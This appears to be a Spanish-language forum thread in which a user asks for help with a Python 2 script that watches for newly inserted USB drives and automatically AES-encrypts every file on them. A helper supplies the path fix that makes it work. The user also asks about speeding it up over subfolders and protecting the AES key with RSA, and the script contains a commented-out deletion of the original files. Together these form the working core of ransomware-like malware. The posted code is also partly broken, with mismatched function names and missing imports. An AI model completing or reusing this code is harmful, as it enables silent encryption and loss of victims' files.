lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo?
Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\
Traceback (most recent call last):
File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
encrypt_file(str(encrypt_files))
File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
filesize = str(os.path.getsize(filename)).zfill(16)
File "C:\Python27\lib\genericpath.py", line 57, in getsize
return os.stat(filename).st_size
WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"
from ctypes import windll
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from Crypto import Random
import string
import time
import os, sys
def get_drives():
drives = []
bitmask = windll.kernel32.GetLogicalDrives()
for letter in string.uppercase:
if bitmask & 1:
drives.append(letter)
bitmask >>= 1
return drives
def encrypt(filename):
chunksize = 64 * 1024
outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
filesize = str(os.path.getsize(filename)).zfill(16)
IV = ''
for i in range(16):
IV += chr(random.randint(0, 0xFF))
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, "rb") as infile:
with open(outFile, "wb") as outfile:
outfile.write(filesize)
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 !=0:
chunk += ' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def list_files(path):
files = []
for name in os.listdir(path):
if os.path.isfile(os.path.join(path, name)):
files.append(name)
return files
if __name__ == '__main__':
print 'Searching usb...'
while True:
before = set(get_drives())
time.sleep(5)
after = set(get_drives())
drives = after - before
delta = len(drives)
if (delta):
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
encrypt_files = list_files(newly_mounted)
print "letter: "+newly_mounted
print "fueron montados %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted)
for x in encrypt_files:
if os.path.basename(x).startswith("(encrypted)"):
print "%s is already encrypted" %str(x)
pass
else:
encrypt_file(str(encrypt_files))
print "encryptacion terminada %s" %str(x)
"""os.remove(x) """
else:
print "no hay ningun usb"
Según veo en tu código, en la linea 80 a encrypt_file le estás pasando una lista de archivos y creo que la función espera un string con el nombre del archivo.
Lo anterior es si encrypt_file es el encrypt de la linea 22 (Aunque no es el mismo nombre de función)
Saludos!
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien
Cita de: geshiro en 7 Diciembre 2016, 18:14 PM
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien
En el bucle estás usando
x para iterar por la lista. Deberías pasarle dicha variable a encrypt_file() en vez de la lista completa... no?
Saludos!
EDIT: Si debugeas el código, se te hará más snecillo corregir los errores que tenga.
Le estoy pasando dicha variable
Cita de: geshiro en 7 Diciembre 2016, 18:37 PM
Le estoy pasando dicha variable
Mira la línea 80 del código que has posteado. Ahí es donde debes usar pasarle x a encrypt_file(). Incluso el str() estaría demás.
Saludos!
si de hecho ya lo intente solo que al mandarlo ahora me muestra que no puede encontrar el otro incluso usando encrypt_file(x)
Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\
Traceback (most recent call last):
File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module>
encrypt_file(x)
File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file
filesize = str(os.path.getsize(filename)).zfill(16)
File "C:\Python27\lib\genericpath.py", line 57, in getsize
return os.stat(filename).st_size
WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'
Claro, porque x sólo contiene el nombre. Deberías armar el path completo al archivo para poder abrirlo.
Saludos!
como pudiera armar bien el path para abrirlos
se suponia que en esta parte le daba la ruta de los archivos
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
Prueba reemplazar x con os.path.join(newly_mounted, x)
Ten en cuenta que sólo trabajará con los archivos que están en el root. Si hay carpetas y archivos dentro, vas a tener que devolver las carpetas también como path en la función list_files()
Saludos!
espera como for os.path.join(newly_mounted, x) in variable? encrypt_file(os.path.join(newly_mounted, x))
En la linea 80, reemplaza:
encrypt_file(str(encrypt_files))
por
encrypt_file(os.path.join(newly_mounted, x))
Prueba con eso.
Saludos!
otra duda si quiero modificar mi funcion en donde scaneo los archivos por sub folders por ejemplo todo el projecto codeigniter pero uso walk como hago para que no demore mucho y lo haga rapido porque el script debe funcionar en cuanto detecte el usb boom
Ni idea. Vas a tener que revisar la doc de python y ver algunos ejemplos en Google para saber cuál es el método más rápido... :P
Saludos!
funciono solo que si quiero la llave de aes encriptarla con rsa en el mismo for lo abro el archvio .pem o como pudiera hacer algo similar a esto SHA256.new(password).digest()
o no se puediera ?